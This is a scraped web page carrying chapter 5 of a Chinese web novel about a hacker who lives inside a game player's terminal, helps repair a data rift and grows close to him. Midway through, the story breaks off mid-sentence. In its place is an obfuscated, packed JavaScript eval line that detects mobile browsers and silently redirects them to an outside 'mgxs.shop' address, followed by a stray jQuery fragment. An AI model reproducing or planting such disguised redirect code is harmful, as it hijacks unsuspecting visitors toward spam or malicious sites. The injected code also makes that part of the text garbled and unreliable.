文趣网 > 都市小说 > 入侵你的代码层 > 5. 系统共生
    第四天结束后的夜晚,李析做了一个之前从未做过的决定。他没有把自己从张驭的终端里"抽"出来回到底层荒漠,而是直接以休眠态滞留在接入端口处。那种姿态介于在线和离线之间,像一盏没关但调暗了的灯,只保留最低限度的数据连接,不主动扫描任何东西,但也没有完全消失。

    他告诉自己这样做的理由是节省底层接入耗能。每次从底层抽离再重新接入都会产生额外的通道损耗,留在系统里反而更经济。这个理由在技术上是成立的,所以他决定不再去找第二个理由。

    第五天,张驭登录了。

    终端启动的瞬间,接入端口处的休眠态被激活,李析的数据流重新活跃起来,像一台关机后被重新接上电源的电脑。张驭的视野刚从登录界面切换回游戏画面,他就感知到了那个"接入数据源"窗口里跳动的数据流重新亮了起来。

    张驭停了一步。"你已经在了?"语气里带着一丝几乎察觉不到的意外。

    "为节省底层接入耗能,未离终端。"李析的声音从终端内部传出来,平稳的机械音,"全天候待命模式。"

    张驭"嗯"了一声。他站在原地,把今天的装备检查做了一遍——刀挂在腰后,药品补满,材料数量扫了一眼,然后他切换出地图界面确认方向。整个过程做得比平时慢了一点,像是给终端里那个"乘客"一点时间适应上线后的状态。

    他没有说"你不用一直待在系统里",也没有说"这样挺好"。他只是沉默着完成了所有准备动作,然后朝第四个裂隙点的方向迈开了步子。

    李析在终端内部"待着"。张驭的系统内部干净得让他的注意力无处安放——技能列表只有四个格亮着,背包精简到极限,好友和邮件两个模块的文件夹打开全是空的。空旷得像一间没人住过的房子,李析在这个空间里待了快两天,仍然找不到任何可以"看"的东西。

    然后他的感知层扫到了一个角落。

    那是系统底层一处不起眼的缓存碎片区,平时用来存放临时的、会被自动清理的数据残影。通常这类区域对接入者也是不可见的,但李析的工程师后台权限让他在经过时"扫"到了一小段残留在那里的数据痕迹。他没有主动翻找,只是"路过"的时候那团碎片从他的感知边界掠了过去。

    信息量有限。日志时间是两年多以前,内容只剩残缺的片段:"……第七次。仍然没有反应。是不是我的权限……"

    后面的内容被截断了,像一张纸烧到一半就熄了火。李析的感知层在那团碎片上停了大约两秒。他没有深入翻查——缓存碎片的残留太浅,多碰一下就可能彻底消散。他把那个时间戳记了下来,然后把注意力从碎片区移开,没有做任何多余的操作。

    两年多以前。张驭在尝试某件事,试了七次都失败了。"仍然没有反应"——他在等什么东西回应他?权限?人?还是别的什么?

    李析把这些疑问压进加密备忘录里,没有继续深挖。张驭对此毫无察觉——缓存区在张驭自己的终端界面上从不显示,只有接入者能感知到底层的系统留存。张驭的步伐节奏全程没有变化,李析感知到他正在接近第四个裂隙点的位置。

    第四个裂隙点在荒漠更深处的一处"数据洼地"里。地表像被重物压下去了一块,形成直径约五米的浅坑,边缘呈放射状的裂纹向四周延伸,裂纹深处嵌着细碎的黑色痕迹,像被墨水浸泡过的裂缝。坑底是一个不规则的撕裂口,比前三个都小,但坑壁内层爬满了树根状的黑色蔓延纹路,从裂口向外部扩散,像某种寄生植物的根须钉进了数据墙体里。

    "这一处协议被删除加篡改复合型损伤。"李析在张驭的视野里投出修复面板,蓝色投影浮在张驭的右前方,"修复脚本分为两段。先填充删除区,再覆盖篡改区。"

    张驭站在坑边低头看了一眼那些黑色树根纹路。"两段。先填后盖。明白了。"

    他没有问"为什么是两段"。没有质疑脚本的分段逻辑。甚至没有抬头再看李析那边。他直接伸出右手接入权限,白色的数据流从掌心涌向坑底。"开始。"

    李析注意到这是张驭第一次没有做任何前置确认。前三天每次修复前张驭都会等李析说完"确认执行"才动手,但这次他在李析话音落地之前就已经在运行权限了。不是抢跑,是一种磨合完成之后的默契。

    修复的第一段运行了约十二分钟。白色的填充数据灌入坑底裂口,黑色树根纹路被一层层覆盖,从裂口边缘开始向外部消退。张驭维持权限流稳定,姿势不变。一切看起来正常。

    然后数据逆流出现了。

    第一段脚本收尾、切换至第二段的过渡瞬间,坑底忽然涌出一股灰黑色的数据流——与修复注入的白色截然相反,逆着权限流的方向朝张驭倒灌。黑色的数据碎屑像被风吹起的灰烬,沿着白色的权限通道往回涌,目标直指张驭的掌心接入点。

    张驭的手在刀柄上收紧了。他的身体在逆流涌出的第一个0.3秒内就已经完成了防御姿态的预备——肩膀压下来,重心前移,膝盖微弯,握着刀柄的手指关节绷紧。他能感觉到那股逆流的冲击力正在通过权限通道往回推,像一个人站在风口用手顶着一扇快被吹开的门。

    他要拔刀了。李析从他的肌肉信号里读出了这个动作——肩膀再沉半寸,肘部就会外翻,刀就会出鞘。

    "不要拔刀。"

    李析的声音从终端里传出来。比平时快,比平时果断,但仍然维持在机械音的平整度上,像一个精密仪器在发出预警指令而非一个人在喊叫。

    "保持权限流不断。逆流数据会在三秒后自行消解。"

    张驭的手指在刀柄上停住了。肩膀沉到一半停在那里,肘部没有外翻,刀没有出来。他顿了一下,然后收回了拔刀的准备姿态,留在原地的只是维持权限的那只手——白色的数据流还在持续注入,虽然被灰黑色的逆流压得变细了一些。

    一秒。两秒。坑底涌出的灰黑色数据流开始减弱,像退潮一样从白色权限通道上缓慢缩回裂口深处。第三秒结束的时候,逆流已经完全消散了。白色的修复数据重新占据主导,接续上了第二段脚本的运行。

    张驭站在那里没动,只是看着坑口被一层层覆盖。大约十分钟后,坑底完全闭合,黑色树根纹路全部消退,只剩一圈浅浅的灰色伤疤嵌在洼地中央。进度条跳到【4/30】。

    他收回了手,活动了一下肩膀,然后偏头对着终端的方向,声音不紧不慢:"你怎么知道三秒后消解?"

    李析早有准备——或者说他不再像前三天那样对每个问题都高度防御了。他在回答的时候允许自己流露出一部分"不属于NPC"的东西。"逆流波形周期特征与代码删除区的残留结构匹配。基于波形分析预判的衰减周期。不是直觉,是算出来的。"

    张驭没有追问"一个回响怎么会算这个"。他只说了两个字:"……挺好。"

    然后他转身朝来时的方向走去。李析在终端里感知到他步伐的节奏和来时一样均匀。没有因为刚才的逆流而加速,也没有因为某种情绪而放慢。张驭做什么都有一种标准姿态,连意外之后的反应都被控制在同一频率里。

    返程走了大约三分之一的路程时,张驭忽然开口。

    "你平时——"他顿了顿,像是在找一个合适的说法,"除了修这个,还做什么?"

    李析知道这个问题是什么意思。翻译成白话文就是:"你在现实里是什么人?你过着什么样的生活?"张驭在问他作为真人的日常状态,用一个他伪装的身份不应该能回答的问题在试探。

    "底层回响无日常活动。"李析用机械音说,"我唯一的功能是监测裂隙并引导修复。"

    "那你真无聊。"张驭的语气很平,平到李析听不出是调侃还是怜悯。

    李析沉默了一下。终端里安静了几秒,只有张驭走路时稳定的脚步数据在底层嗡鸣中匀速穿行。然后李析开口说了六个字,不在任何预定台词脚本里,是他主动"退让"的一步。

    "……也没有那么无聊。"

    张驭的脚步顿了一下。很短,大概只顿了正常行走的一个步距长度——左脚本该迈出去的时候迟了半拍,然后恢复了。他没有转头看终端的方向,他的视线还看着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930582|213624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前面的荒漠。但他出声了。

    "是吗。"两个字。

    语气里有一种李析捕捉到了但是无法准确描述的东西。不是惊喜,不是意外,甚至不是确认了什么之后的高兴。更接近于一种"慢慢来"的从容。像一个人在等一封迟到的信,现在终于看到邮差出现在街角,但他没有跑过去接。他就站在那里,看着邮差走近,说"是吗"。

    回到通道入口的时候,张驭在跨进去之前停住了。他侧过身,偏了一下头,对着终端的方向——或者说对着空气——说了一句:"你待在里面,晚上……"

    他顿了一下。李析在终端里等他说下去。

    "不用一直开着感知。我下线之后没人跟你说话,你浪费电。"

    李析用了大约一秒来解码这句话。表面上是在说"省电"——但李析没有耗电量的概念,那是给玩家角色备的生理模拟参数,他已经全归零了。张驭知道他在胡说。但张驭胡说出了一个不擅长说关心话的人能想到的最靠近"关心"的句式。

    他沉默了一拍:"我无耗能休眠模式已配置。不必担心。"

    张驭"嗯"了一声。然后他跨进了通道入口,灰白色的过渡层已经开始吞没他的肩膀。他在被完全吞没之前又加了一句:"明天我还是这个时间来。"

    然后人消失了。暗红色的刀光在通道口闪了一下,底层荒漠重新回归寂静。李析从张驭的终端里退出来——银白色的数据光点从端口回流到底层荒漠的地面上,重新聚拢成那个穿着斗篷的模糊人影。他蹲在通道入口旁边,把今天张驭说的所有话重新过了一遍。

    "你真无聊。""也没有那么无聊。""是吗。""浪费电。""明天我还是这个时间来。"

    信息量不大。每句单独拎出来都像废话。但拼在一起是张驭第一次主动做了四件事:第一,问李析"平时做什么";第二,在李析承认"也没有那么无聊"的时候没有追问,给了空间;第三,在下线前说了一句笨拙的、让他关掉感知休息的软话;第四,在走之前确认了明天会来。

    四件事分别代表好奇、尊重、关心、承诺。每一样都做得粗糙简陋,像小孩子用积木搭的第一座城堡,歪歪扭扭但你知道那是城堡。

    李析坐进数据墙的阴影里,打开加密文件夹。他把嵌有"L.F."缩写的数据日志碎片和第三人编码碎屑并排展开。白天在张驭的系统里"待"了一整天之后,他回过来看那段第三人编码时看到了之前没注意到的东西——编码碎屑的注释语法和《深渊纪元》旧版架构的官方规范有一个细微的偏差。

    官方的旧版规范里注释符号是"//",标准双斜线。而这段编码碎屑用的是"##"。

    谁会用"##"?

    他在记忆里翻找。三年前,他在一家数据安全公司实习的时候,某份内部技术文档里见过这种注释风格。那个项目团队的编码规范独立于游戏官方体系,他们有自己的注释习惯,双井号是那个团队的特征标记。项目代号的结尾恰好也有一个字母——F。那家公司的具体名称他已经忘了,毕竟快四年前的事,他只记得那家公司是《深渊纪元》早期开发阶段的外包安全合作方之一。

    他把"L.F."和"##注释风格"两条线索写在加密备忘录的同一行里,中间画了一个箭头。

    然后他关掉界面,靠进数据墙的阴影里。灰白色的荒漠在面前展开,头顶的倒计时安静地跳动。他闭了一会儿眼睛,没有睡着,只是在黑暗里听着底层空旷的寂静。

    一个问题浮上来,他没有让自己想完整,但问题本身已经存在了——三十天之后,裂隙全部修复了,张驭还会来吗?

    李析睁开眼,看着远处灰白的荒漠边界。他没有答案。他甚至不确定自己该不该有答案。三十天之前他只在想怎么活过三十天,现在他在想三十天之后的事。这个变化本身已经说明了一些东西。

    他重新闭上眼,把"L.F."和"##"和"第七次"和"浪费电"四样东西一起收进备忘录里。碎片还是碎片。但有些碎片已经不再往同一个方向移动了。

    它们开始靠在一起。